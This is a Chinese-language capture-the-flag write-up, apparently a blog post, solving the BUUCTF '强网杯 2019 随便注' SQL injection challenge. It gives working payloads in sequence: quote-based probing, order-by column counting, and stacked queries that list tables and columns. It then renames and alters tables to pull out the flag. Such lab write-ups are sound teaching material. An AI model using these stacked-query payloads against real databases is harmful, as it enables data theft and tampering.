【BUUCTF】[强网杯 2019]随便注 1

这是一个典型的sql注入题目

知识点:
1、注入点检测
2、万能匹配
3、暴力获得数据表和其属性
4、sql语句的掌握(order by; union select; rename table; alter table…等等)

1、进入网站
在这里插入图片描述
2、看到一个输入框一个提交框,尝试进行数据输入了解大致情况
经过尝试我们发现,只有输入1,2时有显示,输入0或者其他时没有显示
3、测试是否存在注入
and 1=1和and 1=2没有变化
在这里插入图片描述
在这里插入图片描述
在参数后面加单引号,发现错误,可以尝试进行注入
在这里插入图片描述
4、尝试0‘ or ‘1’='1;0" or “1”="1等,发现可行
在这里插入图片描述
5、尝试order by+数字,直至返回错误,获得表中的列树;#号用来注释掉后面的命令

1’ order by 2#
2’ order by 3#

在这里插入图片描述

发现3的时候报错,所以表中只有两列数据
6、联合查询,发现select等操作被过滤

1’ union select 1,2

在这里插入图片描述

7、获取表名,发现有两个表

0’; show tables;#

在这里插入图片描述
8、获取表中的列名,发现被查询的是words表,而flag在另一个表中,我们需要获取其中的饿内容

0'; show columns from words;#
0'; show columns from `1919810931114514`;#

在这里插入图片描述
在这里插入图片描述
9、更改表名列名(偷天换日)

因为查询是在words中查询id的,所以我们将表1919810931114514改名为words,将words改名为其余的名字。同时将flag属性改名为id属性,类型为varchar(100)

0';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;#

在这里插入图片描述

10、查看改之后的words表中的所有内容获得flag

1’ or ‘1’='1

在这里插入图片描述

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值